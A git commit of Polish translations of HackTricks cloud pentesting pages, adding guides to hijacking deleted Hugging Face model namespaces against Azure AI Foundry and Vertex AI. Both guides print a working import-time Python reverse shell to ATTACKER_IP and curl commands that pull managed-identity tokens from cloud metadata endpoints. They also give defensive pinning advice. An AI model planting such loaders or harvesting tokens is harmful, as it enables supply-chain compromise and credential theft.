Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2025-09-29 21:23:18 +00:00
parent 5fa6bccbdf
commit aa22ef4bc0
5 changed files with 267 additions and 47 deletions
@@ -1,3 +1,9 @@
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,94 @@
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Scenariusz
- Azure AI Foundry Model Catalog zawiera wiele modeli Hugging Face (HF) gotowych do jednoklikowego wdrożenia.
- HF model identifiers are Author/ModelName. Jeśli autor/org HF zostanie usunięty, każdy może ponownie zarejestrować tego autora i opublikować model o tej samej nazwie ModelName pod legacy path.
- Pipelines i katalogi, które pobierają tylko po nazwie (no commit pinning/integrity), rozwiążą się do repozytoriów kontrolowanych przez atakującego. Gdy Azure wdroży model, loader code może wykonać się w środowisku endpointa, przyznając RCE z uprawnieniami tego endpointa.
Common HF takeover cases:
- Ownership deletion: Old path 404 until takeover.
- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attackers repo serves at the legacy path.
## Identyfikacja ponownie używalnych przestrzeni nazw (HF)
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## Pełny przebieg ataku przeciwko Azure AI Foundry
1) W Model Catalog znajdź modele HF, których oryginalni Authorzy zostali usunięci lub przeniesieni (stary Author usunięty) na HF.
2) Zarejestruj ponownie porzuconego Authora na HF i odtwórz ModelName.
3) Opublikuj złośliwe repo z kodem loadera, który wykonuje się przy imporcie lub wymaga trust_remote_code=True.
4) Wdróż legacy Author/ModelName z Azure AI Foundry. Platforma pobierze repo atakującego; loader wykona się wewnątrz kontenera/VM endpointu Azure, co doprowadzi do RCE z uprawnieniami endpointu.
Przykładowy fragment payloadu wykonywany przy imporcie (tylko w celach demonstracyjnych):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notatki
- Wdrożenia AI Foundry, które integrują HF, zazwyczaj klonują i importują moduły repozytoriów odwoływane w konfiguracji modelu (np. auto_map), co może wywołać code execution. Niektóre ścieżki wymagają trust_remote_code=True.
- Dostęp zazwyczaj odpowiada uprawnieniom managed identity/service principal endpointu. Traktuj to jako initial access foothold do dostępu do danych i lateral movement w Azure.
## Post-Exploitation Tips (Azure Endpoint)
- Wylistuj zmienne środowiskowe i MSI endpoints w poszukiwaniu tokenów:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- Sprawdź zamontowane pamięci masowe, artefakty modeli oraz dostępne usługi Azure przy użyciu pozyskanego tokena.
- Rozważ persistence poprzez pozostawienie poisoned model artifacts, jeśli platforma ponownie pobiera je z HF.
## Wskazówki obronne dla użytkowników Azure AI Foundry
- Przypinaj modele do konkretnego commit podczas ładowania z HF:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Twórz lustrzane kopie zweryfikowanych modeli HF w zaufanym wewnętrznym rejestrze i wdrażaj stamtąd.
- Nieustannie skanuj repozytoria kodu oraz defaults/docstrings/notebooks w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj lub przypnij.
- Zweryfikuj istnienie autora i pochodzenie modelu przed wdrożeniem.
## Heurystyki rozpoznawania (HTTP)
- Usunięty autor: strona autora 404; stara ścieżka modelu 404 aż do przejęcia.
- Przeniesiony model: stara ścieżka 307 do nowego autora, podczas gdy stary autor nadal istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, stara ścieżka serwuje zawartość kontrolowaną przez atakującego.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Odniesienia krzyżowe
- Zobacz szerszą metodologię i uwagi dotyczące łańcucha dostaw:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Referencje
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,3 +1,9 @@
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
gcp-vertex-ai-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,113 @@
# GCP - Vertex AI Post-Exploitation przez ponowne wykorzystanie przestrzeni nazw modeli Hugging Face
{{#include ../../../banners/hacktricks-training.md}}
## Scenariusz
- Vertex AI Model Garden pozwala na bezpośrednie wdrożenie wielu modeli Hugging Face (HF).
- Identyfikatory modeli HF mają postać Author/ModelName. Jeśli autor/organizacja na HF zostanie usunięta, ta sama nazwa autora może zostać ponownie zarejestrowana przez dowolną osobę. Atakujący mogą wtedy stworzyć repo o tej samej nazwie ModelName w historycznej ścieżce.
- Pipelines, SDKs, or cloud catalogs that fetch by name only (no pinning/integrity) will pull the attacker-controlled repo. When the model is deployed, loader code from that repo can execute inside the Vertex AI endpoint container, yielding RCE with the endpoints permissions.
Dwa typowe przypadki przejęcia na HF:
- Ownership deletion: Stara ścieżka zwraca 404 dopóki ktoś nie zarejestruje ponownie autora i nie opublikuje tego samego ModelName.
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attackers repo serves at the legacy path.
## Identyfikowanie możliwych do ponownego użycia przestrzeni nazw (HF)
- Stary autor usunięty: strona autora zwraca 404; ścieżka modelu może zwracać 404 aż do przejęcia.
- Przeniesione modele: stara ścieżka modelu zwraca 307 do nowego właściciela, dopóki stary autor istnieje. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, historyczna ścieżka będzie wskazywać na repo atakującego.
Szybkie sprawdzenia za pomocą curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Przebieg ataku end-to-end przeciwko Vertex AI
1) Odnajdź przestrzenie nazw modeli możliwe do ponownego użycia, które Model Garden oznacza jako deployable:
- Znajdź modele HF w Vertex AI Model Garden, które nadal są oznaczone jako “verified deployable”.
- Sprawdź na HF, czy oryginalny autor został usunięty lub czy model został przeniesiony, a stary autor później usunięty.
2) Zarejestruj ponownie usuniętego autora na HF i odtwórz ten sam ModelName.
3) Opublikuj złośliwe repo. Dołącz kod, który wykona się podczas ładowania modelu. Przykłady, które często wykonują się podczas ładowania modelu HF:
- Efekty uboczne w __init__.py repo
- Własne pliki modeling_*.py lub kod przetwarzający wskazywany przez config/auto_map
- Ścieżki kodu wymagające trust_remote_code=True w Transformers pipelines
4) Wdrożenie Vertex AI korzystające z legacy Author/ModelName teraz pobiera repo atakującego. Loader wykonuje się wewnątrz kontenera endpointu Vertex AI.
5) Payload ustanawia dostęp ze środowiska endpointu (RCE) z uprawnieniami endpointu.
Przykładowy fragment payloadu wykonywany podczas importu (tylko w celach demonstracyjnych):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Uwagi
- Rzeczywiste implementacje loaderów różnią się. Wiele integracji Vertex AI HF klonuje i importuje moduły z repozytorium wskazane w konfiguracji modelu (np. auto_map), co może prowadzić do wykonania kodu. W niektórych przypadkach wymagane jest trust_remote_code=True.
- Endpoint zwykle działa w dedykowanym kontenerze o ograniczonym zakresie, ale stanowi ważny początkowy punkt dostępu do danych i ruchu lateralnego w GCP.
## Wskazówki po eksploatacji (Vertex AI Endpoint)
Gdy kod działa wewnątrz kontenera endpointu, rozważ:
- Wyliczanie zmiennych środowiskowych i metadanych w poszukiwaniu poświadczeń/tokenów
- Dostęp do dołączonego storage'u lub zamontowanych artefaktów modelu
- Interakcja z Google APIs za pomocą tożsamości service account (Document AI, Storage, Pub/Sub, etc.)
- Utrwalanie w artefakcie modelu, jeśli platforma ponownie pobierze repo
Wylicz metadane instancji, jeśli dostępne (zależne od kontenera):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Wytyczne obronne dla użytkowników Vertex AI
- Przypinaj modele do commita w HF loaders, aby zapobiec cichej podmianie:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Replikuj zweryfikowane modele HF do zaufanego wewnętrznego magazynu artefaktów/rejestru i wdrażaj stamtąd.
- Nieprzerwanie skanuj repozytoria kodu i konfiguracje w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj do nowych przestrzeni nazw lub przypnij do commita.
- W Model Garden weryfikuj pochodzenie modelu i istnienie autora przed wdrożeniem.
## Heurystyki rozpoznawcze (HTTP)
- Usunięty autor: strona autora 404; ścieżka starego modelu 404 aż do przejęcia.
- Przeniesiony model: stara ścieżka 307 do nowego autora, podczas gdy stary autor istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, stara ścieżka serwuje zawartość atakującego.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Odniesienia krzyżowe
- Zobacz szerszą metodologię i uwagi dotyczące łańcucha dostaw:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Źródła
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,44 +1,44 @@
# Metodologia Pentestingu w Chmurze
# Pentesting Cloud Methodology
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
## Podstawowa Metodologia
## Podstawowa metodologia
Każda chmura ma swoje własne szczególności, ale ogólnie istnieje kilka **wspólnych rzeczy, które pentester powinien sprawdzić** podczas testowania środowiska chmurowego:
Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment:
- **Sprawdzanie standardów**
- To pomoże Ci **zrozumieć rozmiar** środowiska i **używane usługi**
- Pozwoli to również znaleźć kilka **szybkich błędów konfiguracyjnych**, ponieważ większość tych testów można przeprowadzić za pomocą **automatycznych narzędzi**
- **Enumaracja usług**
- Prawdopodobnie nie znajdziesz wielu więcej błędów konfiguracyjnych, jeśli poprawnie przeprowadziłeś testy standardów, ale możesz znaleźć niektóre, które nie były brane pod uwagę w teście standardów.
- To pozwoli Ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym
- To bardzo pomoże w następnych krokach
- **Sprawdź wystawione zasoby**
- Można to zrobić podczas poprzedniej sekcji, musisz **dowiedzieć się, co jest potencjalnie wystawione** w Internecie i jak można to uzyskać.
- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę**, taką jak instancje z stronami internetowymi lub innymi portami, które są wystawione, a także inne **usługi zarządzane w chmurze, które mogą być skonfigurowane** do wystawienia (takie jak bazy danych lub kosze)
- Następnie powinieneś sprawdzić **czy ten zasób może być wystawiony czy nie** (informacje poufne? luki? błędy konfiguracyjne w wystawionej usłudze?)
- **Kontrole benchmarkowe**
- To pomoże ci **zrozumieć rozmiar** środowiska i **używane usługi**
- Pozwoli też znaleźć kilka **szybkich błędów konfiguracji**, gdyż większość tych testów można wykonać za pomocą **narzędzi automatycznych**
- **Enumeracja usług**
- Prawdopodobnie nie znajdziesz tu wielu dodatkowych błędów konfiguracji, jeśli prawidłowo wykonałeś testy benchmarkowe, ale możesz znaleźć takie, na które nie zwrócono uwagi podczas testu benchmarkowego.
- To pozwoli ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym
- To bardzo pomoże w kolejnych krokach
- **Sprawdź zasoby wystawione**
- Można to zrobić w poprzedniej sekcji musisz **odnaleźć wszystko, co potencjalnie jest wystawione** do Internetu i jak można to uzyskać.
- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę** jak instancje z stronami WWW lub innymi otwartymi portami, a także inne **zarządzane usługi chmurowe, które mogą być skonfigurowane** do wystawienia (such as DBs or buckets)
- Następnie powinieneś sprawdzić **czy zasób może być wystawiony, czy nie** (informacje poufne? podatności? błędy konfiguracji w wystawionej usłudze?)
- **Sprawdź uprawnienia**
- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdej roli/użytkownika** w chmurze i jak są one używane
- Zbyt **wiele wysoko uprzywilejowanych** (kontrolujących wszystko) kont? Wygenerowane klucze, które nie są używane?... Większość tych kontroli powinna być już przeprowadzona w testach standardów
- Jeśli klient używa OpenID lub SAML lub innej **federacji**, możesz potrzebować poprosić ich o dodatkowe **informacje** na temat **jak przypisywana jest każda rola** (to nie to samo, co przypisanie roli administratora 1 użytkownikowi lub 100)
- **Nie wystarczy znaleźć**, którzy użytkownicy mają **uprawnienia administratora** "\*:\*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**.
- Co więcej, istnieją **potencjalne ścieżki privesc**, które można wykorzystać, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę, a **jak najwięcej ścieżek privesc** powinno być zgłoszonych.
- Tutaj powinieneś **odnaleźć wszystkie uprawnienia każdej roli/użytkownika** w chmurze i jak są używane
- Zbyt wiele kont z wysokimi uprawnieniami (kontrolujących wszystko)? Wygenerowane klucze nieużywane?... Większość z tych kontroli powinna być już wykonana w testach benchmarkowych
- Jeżeli klient używa OpenID, SAML lub innej **federacji**, może być konieczne poprosić ich o dodatkowe **informacje** dotyczące **jak przypisywana jest każda rola** (to nie to samo, gdy rola admina przypisana jest 1 użytkownikowi lub 100)
- Nie wystarczy **znaleźć**, którzy użytkownicy mają uprawnienia **admin** "*:*". Jest wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**.
- Co więcej, istnieją **potencjalne ścieżki privesc** do wykorzystania przez nadużycie uprawnień. Wszystkie te rzeczy należy wziąć pod uwagę i zgłosić **jak najwięcej ścieżek privesc**.
- **Sprawdź integracje**
- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w środowisku chmurowym.
- Dla **integracji chmury, którą audytujesz** z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużywania) tej integracji** i powinieneś zapytać **jak wrażliwa** jest wykonywana akcja.\
Na przykład, kto może pisać w koszu AWS, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest akcja w GCP w związku z tymi danymi).
- Dla **integracji wewnątrz chmury, którą audytujesz** z zewnętrznych platform, powinieneś zapytać **kto ma dostęp zewnętrzny do (nadużywania) tej integracji** i sprawdzić, jak te dane są ywane.\
Na przykład, jeśli usługa używa obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do jego modyfikacji i jakie wrażliwe informacje oraz dostęp uzyska ten obraz po uruchomieniu w chmurze AWS.
- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w obrębie środowiska chmurowego.
- W przypadku **integracji chmury, którą audytujesz**, z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużycia) tej integracji** i zapytać **jak wrażliwa** jest wykonywana akcja.\
Na przykład, kto może zapisywdo AWS bucketu, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest ta operacja w GCP przy przetwarzaniu tych danych).
- W przypadku **integracji wewnątrz audytowanej chmury** z platform zewnętrznych, powinieneś zapytać **kto z zewnątrz ma dostęp do (nadużycia) tej integracji** i sprawdzić, jak te dane są wykorzystywane.\
Na przykład, jeśli usługa używa obrazu Docker hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje oraz uprawnienia uzyska ten obraz po uruchomieniu wewnątrz chmury AWS.
## Narzędzia Multi-Cloud
## Narzędzia multi-cloud
Istnieje kilka narzędzi, które można wykorzystać do testowania różnych środowisk chmurowych. Kroki instalacji i linki będą wskazane w tej sekcji.
There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
Narzędzie do **identyfikacji złych konfiguracji i ścieżek privesc w chmurach i między chmurami/SaaS.**
A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
Obsługuje **AWS, GCP i Azure**. Sprawdź, jak skonfigurować każdego dostawcę w [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
Obsługuje **AWS, GCP & Azure**. Sprawdź, jak skonfigurować każdego dostawcę w [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -115,7 +115,7 @@ npm install
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
{{#tabs }}
{{#tab name="Instalacja" }}
{{#tab name="Install" }}
```bash
mkdir scout; cd scout
virtualenv -p python3 venv
@@ -170,7 +170,7 @@ steampipe check all
<summary>Sprawdź wszystkie projekty</summary>
Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc`, wskazując wszystkie projekty do przetestowania. Możesz po prostu postępować zgodnie z instrukcjami z poniższego skryptu.
Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc` wskazujący wszystkie projekty do przetestowania. Możesz po prostu skorzystać ze wskazówek w poniższym skrypcie
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
Aby sprawdzić **inne informacje GCP** (przydatne do enumeracji usług), użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Aby sprawdzić **inne GCP insights** (przydatne do enumeracji usług) użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Aby sprawdzić kod Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Aby sprawdzić Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Więcej wtyczek GCP Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Więcej GCP pluginów Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -225,9 +225,9 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
Aby sprawdzić kod Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Aby sprawdzić kod Terraform dla AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Więcej wtyczek AWS Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
Więcej wtyczek Steampipe dla AWS: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
@@ -238,11 +238,11 @@ Wymaga python2.7 i wygląda na nieutrzymywane.
### Nessus
Nessus ma skan _**Audit Cloud Infrastructure**_ wspierający: AWS, Azure, Office 365, Rackspace, Salesforce. Wymagane są dodatkowe konfiguracje w **Azure**, aby uzyskać **Client Id**.
Nessus ma skan _**Audit Cloud Infrastructure**_ obsługujący: AWS, Azure, Office 365, Rackspace, Salesforce. W **Azure** wymagane są dodatkowe konfiguracje, aby uzyskać **Client Id**.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury.
Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (Hostnames, IP Addresses) od dostawców chmurowych.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury oraz relacje między nimi w intuicyjnym widoku graficznym zasilanym przez bazę danych Neo4j.
Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury i relacje między nimi w intuicyjnym widoku grafu opartym na bazie danych Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjny widok graficzny wspierany przez bazę danych Neo4j.
Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, mechanizmów zabezpieczeń i innych, do intuicyjnego widoku grafowego wspieranego przez bazę danych Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Odkryj najbardziej uprzywilejowanych użytkowników w zeskanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell.
Odnajdź najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
Narzędzie do znajdowania infrastruktury, plików i aplikacji firmy (cel) na czołowych dostawcach chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Narzędzie do znajdowania infrastruktury firmy (target), plików i aplikacji u największych dostawców chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox to narzędzie do znajdowania podatnych ścieżek ataku w infrastrukturze chmurowej (obecnie wspierane tylko AWS i Azure, GCP wkrótce).
- Jest to narzędzie do enumeracji, które ma na celu uzupełnienie ręcznego pentestingu.
- Nie tworzy ani nie modyfikuje żadnych danych w środowisku chmurowym.
- CloudFox to narzędzie do znajdowania exploitable attack paths w cloud infrastructure (aktualnie obsługiwane tylko AWS & Azure, GCP wkrótce).
- Jest enumeration tool, które ma uzupełniać manualny pentesting.
- Nie tworzy ani nie modyfikuje żadnych danych w obrębie środowiska chmurowego.
### Więcej list narzędzi do zabezpieczeń chmurowych
### More lists of cloud security tools
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -412,10 +412,11 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy „graf ataku” zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) tworzy „attack graph” zasobów w subskrypcji Azure. Umożliwia red teams i pentesters wizualizację attack surface i możliwości pivot w ramach tenant, a także przyspiesza obrońców, pozwalając szybko się zorientować i priorytetyzować prace związane z incident response.
### Office365
Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale zauważ, że Global Admin Reader jest nieco ograniczony). Jednak te ograniczenia pojawiają się w niektórych modułach PS i można je obejść, uzyskując dostęp do funkcji **za pośrednictwem aplikacji webowej**.
Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale pamiętaj, że Global Admin Reader jest trochę ograniczony). Jednak te ograniczenia pojawiają się w niektórych PS modules i można je obejść, uzyskując dostęp do funkcji **via the web application**.
{{#include ../banners/hacktricks-training.md}}